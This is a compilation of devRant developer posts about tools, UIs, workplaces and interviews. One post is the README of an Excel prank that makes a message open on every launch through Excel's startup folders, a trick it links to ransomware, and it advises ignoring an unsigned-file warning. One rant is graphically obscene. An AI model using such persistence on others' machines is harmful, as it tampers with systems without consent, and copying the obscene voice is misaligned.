This ingenious invention colorizes brackets (aka "Rainbow brackets") and makes their inner space visible on demand. Very useful if you have to deal with complex flows.
https://viasfora.com/
8 VSColorOutput
Come on! 2018 and Visual Studio still outputs monochromatically?
http://mike-ward.net/vscoloroutput/
That's it, folks.
----------------------------------------------------------------
No matter how much fun it will be to do full time Linux C/C++ coding, and reverse engineering of WORM file systems and proprietary containers and databases, the thing I am most looking forward to is quite mundane: I can do what the fuck I want!
Being stuck in a project? No problem, any of my own projects is just a 'git clone' away. (Or fetch/pull more likely... 😜)
Here I am leaving a place where gitlab.com, github.com and sourceforge.net are blocked.
But I will also miss my collegues here. I know it.
Well, part of the game I guess?7 -
devrant is the only community that I feel comfortable in.
I've been browsing since 2000 and been in many communities online so far, so that's saying a lot.
I've seen supportive comments towards me and others here, and that really makes me feel less hopeless.
I think the internet in general makes you feel like you're a number. Click the like and the sub button, just be one more in a million.
But here, you matter.
If you try to post something and you are sincere, but humble people will ++ and say nice comments.
If you get upvoted, you can WHO did it and what their online persona looks like.
It feels very organic and personal, which is saying a lot for a place like the internet.
In the standard online experience, people online take advantage of the anonymity to say shit they wouldn't online:
anything, from troll shit to presumptuous comments.
I don't understand how some people can connect being anonymous with denying themselves as moral beings.
Do these people walk around in real life fighting with every person that has an opposite point of view?
There's actual people out there that will read this post and think "what a fucking boy scout".
Sorry for having emotions.
how many fucked up people are there, so that devrant feels like a goddamn mirage?9 -
In my office they forced us to use Darwin Box. We need to login and click on clock in once we come to office. Fucking irritated. Who the hell remembers to clock in.
I wrote a simple Python code to clock in and made it as launched jobs.
Automatic clock in. *No Worries* 😅
#ProudToBeDev
Here is github:: https://github.com/Gowtham95india/...5 -
Amazon: you're logged into 53 devices.
Me: ooooh Kay, since when do I have that many devices. let's sign out of em all and change the password for some piece of mind.
Spongebob: * a few hours past *
Spam email: someone in the US has logged into your account - click here to verify through some random URL that doesn't even contain "Amazon" in it 🥳
-
I suddenly have that feeling Amazon sells you're account setting changes and not just your personal details.3 -
Normal day with some guy that worked at the company. the guy was in his 11 month when this happened. and this was just one of so many wtf moments with him.
Me: hey man, you're gotta work with some frontend stuff, we need you to run mysql(for the backend) and apache. so install mamp, is super easy to get that working.
Me: please just donwload the pkg from this link and click `next` until finish.
Dude: okay, will do
-- some 10 minutes later. --
Dude: hey man I got a problem
Me: Whaaaat? you shouldn't, that shit never gives problem, everyone(literally) have that installed in their macs
Dude: it's true, I got an error, it says: `mamp it's not compatible with osx` ...
Me: oh man, that's so strange, mamp is likely made just for osx(and windows), and also we got all the macs with at least 1 version behind the latest osx. :(
Dude: it's true. I need help with that
-- now I go to the guy's mac and see the `error` message --
Me: hey, this says nothing like being uncompatible man, this CLEARLY says that can't be opened for *reads the error for him* . man, don't make things up, at least try to translate the error and give me the exact information of your `error`.
Dude: ...
Me: man please... I know you have your issues with the language, I do too, a LOT, but I use google translator if I can't read the shit. I can't sit here with you as your translator. -___-
7 -
Today was just marvelous. Locked up my car with keys inside and with engine on.
I was driving back home from work. I drove to a parking near home, which is really long, narrow and impossible to turn around. So I decided to get out of a car, for like, 30 secs and go check, if there were any unoccupied parking places. Parking brake; I stepped out of the car and closed the door. Click.
Brilliant.
I knew, that I needed to change contacts in the driver door, that sometimes were triggering central car lock, but I didn't expecting such outcome.
So, I am outside.
Engine is on.
Parking brake.
My backpack and phone were inside.
Luckily, one neighbor wanted to drive somewhere, so I explained, why he can't donit, why my car is here and asked to watch my car for 5 mins while I will run home.
So I ran home in home to find a second pair of keys.
After some time, LUCKILY, I found them, went back and unlocked my car...
Moral: don't delay things.. Small fixes to prolong life of some object will eventually fail in very, very uncomfortable manner.
I'm glad I found spare keys and there were no need to break my own car window... And I DO care about my car and do lot of things by myself.1 -
Haha kids, you're all dead wrong. Here's my story.
There is a thing called “emergence”. This is a fundamental property of our universe. It works 100% of the time. It can't be stopped, it can't be mitigated. Everything you see around you is an emergent phenomenon.
Emergence is triggered when a lot of similar things come together and interact. One water molecule cannot be dry or wet, but if you have many, after a certain number the new property emerges — wetness. The system becomes _wet_.
Professionalism is an emergent phenomenon too, and its water molecules are abstract knowledge. Learn tech things you're interested in, complete random tutorials, code, and after a certain amount of knowledge molecules is gained, something clicks inside your head, and you become a professional.
Unfortunately, there are no shortcuts here. Uni education can make you a professional seemingly quicker, but it's not because uni knowledge is special, it's because uni is a perfect environment to absorb a lot of knowledge in a short period of time.
It happened to me too. I started coding in Pascal in fifth grade of high school, and I did it till sixth. Then, seventh to ninth were spent on my uni's after-school program. After ninth grade, I drop out of high school to get to this uni's experimental program. First grade of uni, and we're making a CPU. Second grade, and we're doing hard math, C and assembly.
And finally, in the third grade, it happens. I was sitting there in the classroom, it was late, and I was writing a recursive sudoku solver in Python. And I _felt_ the click. You cannot mistake it for anything else. It clicks, and you're a changed person. Immediately, I realized I can write everything. Needless to say, I was passing everything related to code afterwards with flying colours.
From that point, everything I did was just gaining more and more experience. Nothing changed fundamentally.
Emergence is forever. If you learn constantly, even without a concrete defined path, I can guarantee you that you _will_ become a professional. This is backed by the universe itself. You cannot avoid becoming one if you're actively accumulating emergence points.
Here's the list of projects I made in the past 11 years: https://notion.so/uyouthe/...
I'm 24.7 -
Absolutely hate these "moving up", "stairs of success", "we are so diverse!" stock photos all over the internet.
You feel like you are being subtle, fuck no. Unless your target audience is stupid as as fuck, this photos looks dumb and over the top. And what is up with this "diversity" all over the place? don't get me wrong, I am all for diversity. But learn how to apply it properly.
"Looks like we need a picture of a student. Oh no, we need to be diverse. Add 15 kids of 15 different ethincity in the same picture to make sure we looks diverse. Phew!"
And the animations. Holy fucking shite. Why is it that a cheap website immediatly means that your website needs to have 100 different animation in the front page.
Seriously, picture rolling from here and there. Text coming out of nowhere.Everything being squeezed and rotated. God damn it!
This is another reason I fucking hate these 1 click websites and shite like that. This fucking website was created with WiX and my God, it's a fucking nightmare.
Good news is client is recreating the website.3 -
Fuck Android Oreo and everyone who thought that the following ideas are useful:
- xy app is running in the background notification, which can't be disabled
- xy app is overlaying other apps, click here if you wish to disable it. But you can't disable the notification, you can only disable the app.
- the un-zeroable data limit. It can't be disabled, you can only set it to a retarded high number to avoid annoying notifications
Go suck a veiny one Android devs. Fucking cunt faces.
13 -
I am sick and tired of big companies trying to shove their technologies down developer's throat in the name of developer advocacy. Last week I attended one of the IBM workshops which was supposed to be about ML and AI techniques but ended being solely about IBM Cloud (Bluemix), click here, click there, purchase it. I am not against developer advocacy and them trying to advertise their product but they should always keep in mind that developers won't get interested if they aren't learning any transferable core skills.
I was checking a course on Udacity about building scalable java apps. It turned out to be about Google Cloud Platform, auto scaling and nothing much. How deceiving is that?4 -
PRIVATE - This is private, nothing here. seriously, there is nothing here. Do not click; I'm not kidding. Definitely no... [read more]3
-
Semi rant/ opinion
I have been wondering a bit about what my fellow devs think about adblockers
I have been using an adblocker for years.
I am guessing we got a good mix of both people who are pro and against them
I do get the site's owner point of view wanting to get a little bit of cash out of their site buts its the ad publisher that come in and royally screw things up with their garish flashy shit.
I wouldn't really mind 2-3 small static adverts on a page, little ones that don't disrupt the flow of the page or clash with the page colour scheme (i know that one is a bit far fetched but anyone who loaded up a dark page in the comfort of a darkened room only to have a big bright ad turn up in the middle of the page force them to squint ). Sadly publishers don't give a damn, their only concern is to
GRAB YOUR ATTENTION...
FLASHY FLASH FLASH MOFO!
OH AND HERE IS AN AUDIO ENABLED ONE FOR YA, GOOD LUCK MUTING IT YOU POOR SHMUCK , ONE CLICK ON THE DAMN THING WILL TAKE YOU TO THE LAND OF POP-UPS
AH YOU WANNA DOWNLOAD SOMETHING BUDDY ? AH WELL I HOPE YOU LIKE INDIANA JONES' SCENE WITH HOLY GRAIL
CUZ HERE ARE 10 DOWNLOAD BUTTONS, ONE IS THE REAL THING THE REST WILL ARE TOOLBARS
They are the biggest culprit here yet moan the loudest about adblockers.
Sort yourselves out then complain to us about ad blocking6 -
„You have the right to access, change and delete data stored about you. To do this click here“ very funny... very very funny...
-
LabVIEW.
Because WHY THE ACTUAL FUCK should you want to use a visual programming language in a professional environment and pay for it.
(Other than: the manufacturer of your measurement device/power supply/electronic load/etc. has already provided a LabVIEW module so you just have, you know, 'click' your program together and be done.
No, we won't give you the documentation on how to do it properly without that piece of crap or even give you code snippets.
(If you don't feel the urge to shoot yourself in the foot, you have obviously too much time on your hands and could simply be reading the interface definitions for that particular interface. At least it's standardized, d'uh.)
Oh, and you want a lightweight application? Here comes the runtime environment! A big clunky ... thing you'll need now to start up even a simple measure-and-log-data-thing.
Well, OK, it works for the occasional Measure-and-Log-Thing. If you don't need the data too fast.
If you want to do something a bit more complex, knock yourself out, but don't ask me to debug it for you afterwards because that colourful entanglement of wires and connections and blocks is a DAMN HUGE MESS and trying to understand how it works feels like defusing a bomb in a shitty action movie.)
Never again.5 -
Sales guy: Hey, you're technical. Can you tell me how I'd go about doing (foobar) in this webapp I have here?
Almond: Err... I've never dealt with that webapp in my life. I wouldn't have a clue.
Sales guy: ...but you're a dev right? Oh well, never mind. Anyone more experienced around here that may know?
Almond: No idea, but I seriously doubt any of the devs will have used it. Maybe one of the other sales guys will?
Sales guy: So you're telling me *none* of the devs around here will know how to do this?!
Almond: Very unlikely (thinking why the hell would any devs be using a sales app, but whatever)
...15 minutes later...
Sales guy: Ahah, I figured it out! (Explains what buttons he had to click in crappy app to do foobar)
Almond: Glad you got it sorted!
Sales guy: I'm really surprised none of you devs could figure this out, but I could. Perhaps I should change careers and be a dev.
...what?!3 -
*enters random page*
To continue, you must accept all cookies or click here to see our Privacy Policy.
*clicks to see privacy policy*
*in privacy policy page*
To continue, you must accept all cookies or click here to see our Privacy Policy.6 -
Haven't used dR for long so Idk how many people have already ranted about this...but here goes nothing.
ANDROID 10 NAVIGATIONS
Fucking irritating piece of shit !!!
Ughhh!
I can get understand the swipey swipe for back etc. But the "swipe up + hold " for recent apps just makes me cringe !!!!!
Ok, Some how you manage to open the recent apps by precisely fingering your phone.
You gotta go back to home screen from recents ??
Open a recent app then swipe up for home.
Two fucking gestures to go back to home screen !
Or click the close all apps button for home screen.
This is non sense.
Pls enlighten me if I am missing something.
I want the two button navigation back 😭13 -
To the Microsoft Edge users,
If you have been using it and missing the "Search with Google" menu in the context menu (when you right click), I have created an extension for it.
You can get the extension from here: https://github.com/tahnik/...5 -
Look, I get that it's really tricky to assess whether someone is or isn't skilled going solely by their profile.
That's alright.
What isn't center of the cosmic rectum alright with the fucking buttsauce infested state of interviews is that you give me the most far fetched and convoluted nonsense to solve and then put me on a fucking timer.
And since there isn't a human being on the other side, I can't even ask for clarification nor walk them through my reasoning. No, eat shit you cunt juice swallowing mother fucker, anal annhilation on your whole family with a black cock stretching from Zimbabwe to Singapore, we don't care about this "reasoning" you speak of. Fuck that shit! We just hang out here, handing out tricks in the back alley and smoking opium with vietnamese prostitutes, up your fucking ass with reason.
Let me tell you something mister, I'm gonna shove a LITERAL TON of putrid gorilla SHIT down your whore mouth then cum all over your face and tits, let's see how you like THAT.
Cherry on top: by the time I began figuring out where my initial approach was wrong, it was too late. Get that? L'esprit d'escalier, bitch. I began to understand the problem AFTER the timer was up. I could solve it now, except it wouldn't do me any fucking good.
The problem? Locate the topmost 2x2 block inside a matrix whose values fall within a particular range. It's easy! But if you don't explain it properly, I have to sit down re-reading the description and think about what the actual fuck is this cancerous liquid queef that just got forcefully injected into my eyes.
But since I can't spend too much time trying to comperfukenhend this two dollar handjob of a task, which I'd rather swap for teabagging a hairy ass herpes testicle sack, there's rushing in to try and make sense of this shit as I type.
So I'm about 10 minutes down or so already, 35 to go. I finally decipher that I should get the XY coords of each element within the specified range, then we'll walk an array of those coordinates and check for adjacency. Easy! Done, and done.
Another 10 minutes down, all checks in place. TEST. Wait, wat? Where's the output? WHERE. THE FUCK. IS. THE OUTPUT?! BITCH GIMME AN ANSWER. I COUT'D THE RETURN AND CAN SEE THE TERMINAL BUT ITS NOT SHOWING ME ANYTHINGGG?! UUUGHHH FUCKKFKFKFKFKFKFKFUFUFUFFKFK (...)
Alright, we have about 20 minutes left to finish this motorsaw colonoscopy, and I can't see what my code is outputting so I'm walking through the code myself trying to figure out if this will work. Oh, look at that I have to MANUALLY click this fucking misaligned text that says "clear" in order for any new output to register. Lovely, 10/10 web design, I will violate your armpits with an octopus soaked in rabid bear piss.
Mmmh, looks like I got this wrong. Figures. I'm building the array of coordinates sequentially, as a one dimentional list, which is very inconvenient for finding adjacent elements. No problem, let's try and fix that aaaaaand... SHIT IM ALMOST OUT OF TIME.
QUICK LYEB, QUICK!! REMEMBER WHAT FISCELLA TAUGHT YOU, IN BETWEEN MOLESTING YOUR SOUL WITH 16-BIT I/O CONSOLE PROBLEMS, LIKE THAT BITCH SNOWFALL THING YOU HAD TO SOLVE FOR A FRIEND USING TURBO C ON A FUCKING TOASTER IN COMPUTER LAB! RUN MOTHERFUCKER RUN!!!
I'm SWEATING. HEAVILY. I'm STEAMING, NON-EROTICALLY. Less than 10 minutes left. I'm trying to correct the code I have, but I start making MORE dumbfuck mistakes because I'm in a hurry!
5 minutes left. As I hit this point of no return, I realize exactly where my initial reasoning went wrong, and how I could fix it, but I can't because I don't have enough time. Sadface.
So I hastily put together skeleton of the correct implementation, and as the clock is nearly up, I write a comment explaining the bits I can't get to write. Page up, top of file, type "the editor was shit LMAO" and comment it out. SUBMIT.
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Also hi ;>5 -
La me working on a new chrome extension:
- ok, this page has some hidden divs, I need to tell the extension to make windows scroll to the bottom while there are still elements with a hidden class
- creates a while(1) loop with a condition inside it to break if no elements with hidden class are longer there.
- happy with the code
- uploads the extension
- goes to page
- brings out developer tools
- goes to console
- clicks on extension on chrome
- right clicks the extension and then inspect
- ok here we go: la me click on button inside extension popup
- console shows some logs
- nice it's still looking.
.
.
.
- wait! Why is the page not scrolling ???
- looks at logs, WTF nothing changes in logs .....
- OMMMMG a infinite loop .... infinite loop inside chrome ....
- OMMMMMG my pc's gonna crash .
-stop please stop stop.
- wait! how do I stop this?
- tries CTRL+C ... nothing
- tries CTRL+Z ... nothing ...
.
.
.
.
Abort abort Aboooooort.
.
.
.
- Deletes extension from chrome.
-..... loop still running
- clicks on X to close Chrome.....
- not closing O_o
- Oh God, i need to do something before Chrome sucks all the RAM left.
- remembers the savior...
.
.
.
- Task Manager heeeelp me.
- opens Task manager
- chrome is consuming ~ 2 GB of RAM.
- WTF! Kills chrome.
Thanks for reading my lil adventure 😅5 -
I've had today a meeting with the CEO regarding some designs. Here have some quotes that he made:
1. So you can click, click, click, click, click
2. numbers are so complicated so I just said something
3. I like the vibe in Amsterdam
4. We are doing a rebranding. Our rebranding document is the color of the 2 blues and one orange
5. I've to ask my wife for the design (with no design experience) to make the rebranding documents
6. In <the app our technicians/support use>, you can brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrb
7. This is what differeniate us between most applications; FAVORITE SQUARES
8. I never watch that mess. I don't even know if it works or have ever worked with it. (talking about a simple table view)
9. You have been reported to the admins (in an admin-only application for our customers)
10. It's always nice to see developers think; when I don't think
11. But it's already an iPhone (when looking at android designs & cries in largest userbase in my country)6 -
Internal mail form CIO's office:
"Thank you for being part of the internal trial for NPMe, we have decided to remove this tool in favour of Artifactory because of its support for multiple platforms and tools. We are sorry for the inconvenience, here is a link to migration scripts ..."
Migration "script" readme, please clone this repo, create file A, and B, and install these 2 dependencies.
Dependency 1:
- "install via homebrew ..."
- .... homebrew needs to update, checking for updates
- 10 mins later = Update failed, please upgrade to Ruby version 2.3
- Installs ruby version manager
- GPG signature verification failed
- Install GPG v2 + accept keys
- Install ruby version manager
- "please execute this command before running rvm"
- execute command
- "rvm install ruby-2.3"
- Install failed, please see log file
- Opens log file
- "Xcode on its own is not sufficient, please install xcode cli tools"
- Install xcode tools
- 5 minutes later -> "rvm install ruby-2.3"
- 10 minutes later "brew install jq"
Ok back to read me, "login to Artifactory, go here and copy paste XXX."
- Login to Artifactory
- Eventually find repo
- Login again to actually see credentials for some reason
- Screen doesn't match instructions in readme
- Click around
- Back to readme
- Back to artifactory
- Login again
- Execute command auth / setup command
- Copy contents to npmrc file .... now all my scoped packages are going to point to 1 specific repo
Fuck the migration, Fuck these shitty instructions, i'll set them all up again manually. See tags below for further opinions on this matter.2 -
Hey everyone, cozyplanes here with another quick excel prank i thought of.
It is called TEEST, and the technique behind is simple, but interesting. Recommend taking a look, and pranking with your friends.
The following is the README of TEEST (Text in Excel Every Single Time) in Github.
You can check the simple project here ( https://github.com/cozyplanes/teest )
Disclaimer: Do not use or modify neither the program or the source code to make software violating the law.
### How do I use it?
1. Head to https://github.com/cozyplanes/teest and download the latest release `EXE` file.
1. Windows may warn you with the missing signature. The file is a DEBUG file, so there isn't a publisher signature. You can proceed downloading anyway since it has been virus checked by the developer.
2. Type the message you want to display in the textbox.
3. Click `Save text` button.
5. To check the file, click `Cancel` button in the opened popup dialog.
### What happens?
When an MS Excel file (`.xlsx`) has been opened, by using TEEST, two files gets opened.
1. The original file user opened
2. Excel file named `message.txt` with the custom message you have written.
`message.txt` excel file will open every single time a person opens a excel file.
*In some older versions of Excel, the message may overlap with the user opened file.*
### Why does this happen?
When MS Excel program is executed, it is programmed to check the files in the following 2 folders.
- `C:\Program Files\Microsoft Office\Office[versionnumber]\XLSTART`
- `C:\Users\%username%\AppData\Roaming\Microsoft\Excel\XLSTART`
In normal conditions, there is no file in those folders (or the folders doesn't exist at all) but when you use TEEST and click `Save text` button, it saves `message.txt` file in the folders above. From MS Excel is executed again, it will find out there is a file in the folders above, so it will show those text files in Excel.
### Where is this technique used?
There should be a lot of software using this trick, but it is widely known for ransomwares such as `GandCrab` and `TeslaCrypt` displaying decryption methods in MS Excel by this trick.
### How can I disable it?
1. Open TEEST again.
2. Click `Save text` button and click `Cancel` in the following popup.
3. Delete `message.txt` file in the opened explorer.
### LICENSE
This software is under the MIT License. Refer to the `LICENSE` file for more information.
### Contact
<cozyplanes@tuta.io>
Spam/Ads not allowed. Please only send questions or concerns about the software. It may take up to 48 hours to get a reply.13 -
Because of GDPR I receive lot of mails: "we love to keep our relationship", "we really like to present you future offers", "please click here to give your accept", etc.
Me: move email to trash!2 -
Ahhhhhh anyone here use yED? I don't know how i even worked out diagrams before this. For the past couple years this has been my choice diagramming tool <3
Top image is before, bottom is after a single click. I just join boxes and let it work it out at the end. Then obviously do some adjustments to read how I like but seriously makes it easier to trial various layouts. I even make stuff in yED before recreating in something like Visio, if need be.
If anyone got another diagramming tool they like to use, post below (trying to add new stuff to my toolbox lol)
EDIT: Ahh, tried but you can't see the lines after the image gets compressed after upload (and DarkReader on chrome isn't exactly helping :p).
9 -
ha...
that I did NOT expect.
Opening a website in chrome. Laptop's transforms into a drone and tries to lift off my desk and fly away with its fans. I see warning popups telling me that CPU Tº is 100ºC.
Opening website in FF. Laptop calmly opens it up and raises Tº from 50ºC to only 75ºC.
And here I thought that Chrome is fine-tuned for anything you can throw at it.
And the website really has nothing fancy in it... Just some text to read, images to see in the background and some buttons to click on.
https://ignitis.lt/lt/...
its EN version, however, does not have the laptop-heater feature installed.
WTF11 -
@Kiki and I built something (99.99% of the work was done by him only)
Since I was 6 month old, I was annoyed by Reddit's front page. While I liked how it remained same for everyone, there were a lot of unwanted subs filling the feed which didn't interest me and moreover were quite annoying.
Hence, I was thinking of a feature where we can filter out subs from the front page. I even made a post back in days and did not get a proper response.
I waited for Reddit to implement but they are just bloating the product now.
So night before yesterday, after I was done fantasising how I save the school from a terrorist attack, I got an idea.
A Chrome extension which can hide a list of subs or keywords we feed to it.
So if I add r/MakeMeSuffer to the list, extension should click on 'Hide' button on the post and it will no longer appear. Well this was the initial logic I had in mind.
I immediately pinged @Kiki and he was like he already has something similar. We experimented and with in an hour or two, he built an extension which worked better than I thought.
He implemented the dark theme as well. Kickasssss!!!!
So now we are here, to share with you and get your feedback on how we can improve this further.
Once the community responds to this, we are taking this to Product Hunt, Reddit, and @Kiki will also publish this on Chrome store.
We are really excited about this idea and many more. So let me know how you feel about this.
https://github.com/mvoloskov/hazmat
Incase you struggle with installation, HMU, after a lot of hand holding from the creator, I am now an expert in installing and managing Chrome extension 🤣🤣27 -
Not as much of a rant as a share of my exasperation you might breathe a bit more heavily out your nose at.
My work has dealt out new laptops to devs. Such shiny, very wow. They're also famously easy to use.
.
.
.
My arse.
.
.
.
I got the laptop, transferred the necessary files and settings over, then got to work. Delivered ticket i, delivered ticket j, delivered the tests (tests first *cough*) then delivered Mr Bullet to Mr Foot.
Day 4 of using the temporary passwords support gave me I thought it was time to get with department policy and change my myriad passwords to a single one. Maybe it's not as secure but oh hell, would having a single sign-on have saved me from this.
I went for my new machine's password first because why not? It's the one I'll use the most, and I definitely won't forget it. I didn't. (I didn't.) I plopped in my memorable password, including special characters, caps, and numbers, again (carefully typed) in the second password field, then nearly confirmed. Curiosity, you bastard.
There's a key icon by the password field and I still had milk teeth left to chew any and all new features with.
Naturally I click on it. I'm greeted by a window showing me a password generating tool. So many features, options for choosing length, character types, and tons of others but thinking back on it, I only remember those two. I had a cheeky peek at the different passwords generated by it, including playing with the length slider. My curiosity sated, I closed that window and confirmed that my password was in.
You probably know where this is going. I say probably to give room for those of you like me who certifiably. did. not.
Time to test my new password.
*Smacks the power button to log off*
Time to put it in (ooer)
*Smacks in the password*
I N C O R R E C T L O G I N D E T A I L S.
Whoops, typo probably.
Do it again.
I N C O R R E C T L O G I N D E T A I L S.
No u.
Try again.
I N C O R R E C T L O G I N D E T A I L S.
Try my previous password.
Well, SUCCESS... but actually, no.
Tried the previous previous password.
T O O M A N Y A T T E M P T S
Ahh fuck, I can't believe I've done this, but going to support is for pussies. I'll put this by the rest of the fire, I can work on my old laptop.
Day starts getting late, gotta go swimming soonish. Should probably solve the problem. Cue a whole 40 minutes trying my 15 or so different passwords and their permutations because oh heck I hope it's one of them.
I talk to a colleague because by now the "days since last incident" counter has been reset.
"Hello there Ryan, would you kindly go on a voyage with me that I may retrace my steps and perhaps discover the source of this mystery?"
"A man chooses, a slave obeys. I choose... lmao ye sure m8, but I'm driving"
We went straight for the password generator, then the length slider, because who doesn't love sliding a slidey boi. Soon as we moved it my upside down frown turned back around. Down in the 'new password' and the 'confirm new password' IT WAS FUCKING AUTOCOMPLETING. The slidey boi was changing the number of asterisks in both bars as we moved it. Mystery solved, password generator arrested, shit's still fucked.
Bite the bullet, call support.
"Hi, I need my password resetting. I dun goofed"
*details tech support needs*
*It can be sorted but the tech is ages away*
Gotta be punctual for swimming, got two whole lengths to do and a sauna to sit in.
"I'm off soon, can it happen tomorrow?"
"Yeah no problem someone will be down in the morning."
Next day. Friday. 3 hours later, still no contact. Go to support room myself.
The guy really tries, goes through everything he can, gets informed that he needs a code from Derek. Where's Derek? Ah shet. He's on holiday.
There goes my weekend (looong weekend, bank holiday plus day flexi-time) where I could have shown off to my girlfriend the quality at which this laptop can play all our favourite animé, and probably get remind by her that my personal laptop has an i2350u with integrated graphics.
TODAY. (Part is unrelated, but still, ugh.)
Go to work. Ten minutes away realise I forgot my door pass.
Bollocks.
Go get a temporary pass (of shame).
Go to clock in. My fob was with my REAL pass.
What the wank.
Get to my desk, nobody notices my shame. I'm thirsty. I'll have the bottle from my drawer. But wait, what's this? No key that usually lives with my pass? Can't even unlock it?
No thanks.
Support might be able to cheer me up. Support is now for manly men too.
*Knock knock*
"Me again"
"Yeah give it here, I've got the code"
He fixes it, I reset my pass, sensibly change my other passwords.
Or I would, if the internet would work.
It connects, but no traffic? Ryan from earlier helps, we solve it after a while.
My passwords are now sorted, machine is okay, crisis resolved.
*THE END*
If you skipped the whole thing and were expecting a tl;dr, you just lost the game.
Otherwise, I absolve you of having lost the game.
Exactly at the char limit9 -
To all web devs adding cookie-nags on your companys pages: stop that! Now! No where does that cookie law require you to ruin your site with nagging popups. Where's the focus on usability?
And the rule about informed consent? Which normal user (like my mother) knows what that means anyway? I call bs! Politicians, don't get me started.
Every user on the internet goes JMIGA: Just Make It Go Away, click whatever making that crap disappear.
What user will go "holy shit, they're using cookies!! I'm outta here!" No one in the history of the internet, that's who. Argh.9 -
Microsoft documentation is like:
If you're in XY situation, please click here:
https://devrant.io/rants/580100/...4 -
The most common mistake people do is trying to learn some complex cutting-edge technology from scratch. Cutting-edge technology is just combining old technology in new ways to solve new problems. To learn it, first learn existing technology. Existing technology is here to stay, it's well-explained, and it's usually much simpler to understand. Then the rest will just click.7
-
person: do you know any sites that can help with blah blah blah
me: yea one sec
me: here ya go https://blahblah.blah
person: is this a virus ?
me: no it's a site that will help you with blah
person: i'm not gonna click on that because i don't wanna get a virus.
me: but it's not a virus you can't get a virus just by clicking a link you would actually have to download something and execute it.
person: oh okay but i still don't trust it
me: uhhh okay
person : so are you gonna help me or what ?
me : ..................*scream internally*
person: okay fine your not gonna help me8 -
Longest I've worked without rest + why?
Over 24 hours. Why?
In our old system, the database had fields, for example, a customer like Total97, Total98, etc. to store values by year (or some date-specific value).
Every January 1, we had to add fields to accommodate the upcoming year and make the appropriate code changes to handle the new fields.
One year the UPS shipping rates changed and users didn't want to 'lose' the old rates, so they wanted new fields added (Rate98, Rate99, etc) so they could compare old vs. new. That required a complete re-write of most of the underlying applications because users wanted to see the difference on any/all applications that displayed a shipping rate. I'll throw in asking 'why?' was often answered with "because we pay you to do what we say". Luckily, we had already gotten to work on a lot of this before January 1st, so we were, for the most part, ready.
January 1st rolls around (we had to be in the office at 3:00AM), work thru changes, spend some time testing, and be done before noon. That didn't happen. The accounting system was a system that wasn't in (and had never been) in scope, and when we flipped the switch, one of the accountants comes into the office:
E: "Guys? None of our Excel spreadsheets are working. They are critical to integration with the accounting software"
Us: "What? Why would you be using Excel to integrate with the software instead of their portal?"
E: "We could never figure it out, so we had a consultant write VBA scripts to do the work."
Us: "OK, a lot of fields changed, but shouldn't be a big deal. How many spreadsheets are we talking about?"
E: "Hundreds. We have a separate spreadsheet for every integration point. The consulting company said it scalable, whatever that means."
Us: "What?! Why we just know hearing about this!?"
E: "Don't worry, the consultant said making changes would be easy, let me show you, just open the spreadsheet..click here..<click><click><click>...ignore that error, it always happens...click that <click><click><click>.."
Us: "Oh good lord, this is going to take hours"
E: "Ha! Probably. All this computer stuff is your job and I've got a family to get to. Later"
Us: "Hey 'VP of IS', can we go home and fix these spreadsheets as-needed this week?"
VP-IS: "Let me check with 'VP-FS'"
<few minutes later>
VP-IS: "No, he said Excel is critical to running their department. We stay until Excel is fixed."
Us: "No, no...its these spreadsheets. I doubt FS needs all of them tomorrow morning."
VP-IS: "That's what I said. Spreadsheets, Excel, same thing. I'll order the pizza. Who likes pepperoni!?"
At least he didn't cheap out on the pizza (only 4 of us and he ordered 6 large, extra pepperoni from one of the best pizza places in town)
One problem after another and we didn't get done until almost 6:00AM. Then...
VP-IS: "Great job guys. I've scheduled a meeting at 8:00AM to review what we did so we can document the process for next year. You've got a couple of hours. Feel free to get some breakfast and come back, or eat the left over pizza in the breakroom fridge. There is a lot left"
Us: "Um...sorry...we're going home."
VP-IS: "WHAT!!...OK...fine. I'll schedule the meeting for 12"
Us: "No...we're going home. We'll see you tomorrow." -
Love the topic, and I have multiple.
We were designing a frontend for a new application and we were using University lingo for the text placeholders. I forgot to remove one section in which the text stated "You are looking to enroll in the University of Deez Nuts", on another section I left "Click here cuh". Our manager at the time liked the design so much, but forgot to check for spelling or texts and as such sent the demo to our entire department. Everyone saw it, and while they all found it funny it could have seriously gone wrong. Thankfully our department VP had a pretty good sense of humor.....dude also knew exactly who it was from the start.
On another application, a director, who is a friend, asked for multiple items on a request form, during testing, I added text in Spanish (I am in Texas, but Spanish is pretty well known and spoken in the state) saying "Que bien chinga <Name of the Director>" which roughly translates to "<Name of the Director> is being annoyong" (but in a very Mexican spanish way)
I neglected to consider that the dude was probably viewing the admin board and checking the items as they were being added to the system and he called me not even 3 minutes later saying "You know I can see what you add right??"
All in all, I was pretty lucky because in any other places I would have been severely reprimanded :P
There are many more, but these came at the top of my head as the better ones. -
All new (or not so new) devRanters!
Welcome here!
But FFS if you get more than 10 ++'s, go make a fcking avatar!
(Profile/click on that big circle on top)
If you dont have enough ++'s, comment on this post, i'll help you get there!31 -
So it's friday and I'm almost done with all my work and suddenly manager comes in and asks me that client wants to talk to you. I agree and we move into meeting room here is how conversation goes
(C)lient-There is some new feature we want to add -/Describes his feature which is somewhat like an existing feature we have. The feature needs many images which area already present/-
(M)e-Ohkay this can be done. How much time is allotted.
C- You can take a month or two -/I have fucking happy fucking over the moon beacuse i knew it wouldn't take more than 2 days-/
M-Sure
C- Yeah make sure the images are rotated manually.
M-*In Shock* Manually? You mean like i have to right click and then select rotate -/in which ever direction you mother is getting fucked?-/
C-Yeah..
M- But there is a tool which can do the same thing!
C-No the tool maybe wrong we want 100 percent accuracy.
M-*For a while like this -_-* I can start the tool and then manually check if any image is wrongly rotated.
C-No you can be wrong sometimes. .
-/Meanwhile the manager is giving me a stern look like/-
M-If i can be wrong after running tool why i can't BE WRONG WHEN I HAVE TO ROTATE THE IMAGE 10000 TIMESSSSS
C- do it manually.
*He cuts the call!*
I have no fucking option now! THESE FUCKING CLIENT'S AND THEIR BALL LICKING MANAGER FUCK MY LIFE FUCK MY JOB
I'LL DO IT BY SCRIPT ONLY FIRE ME YOU FUCKING MORONS
ASSHOLLESSS -
Me during a presentation of a website for university project. It's a simple project for our university where there is internships offer for our field, stack : php, js, css (bootstrap), and the presentation was on my computer, so on localhost.
In that projet i have implemented a back office to manage all the offers, basic CRUD functionality, and as lazy as I am, for delete confirmation i used a simple javascript alert for that.
Me during the presentation :"so here is the back-office to manage users and internships offer, and for deleting one offer you just have to click on this trash icon *click*".
Ze professor : "hold on hold on, why it's showing 'localhost' "
Me : "it's javascript alert"
Prof : "but why 'localhost' "
Me : "oh, because i'm running the website on my computer as a server"
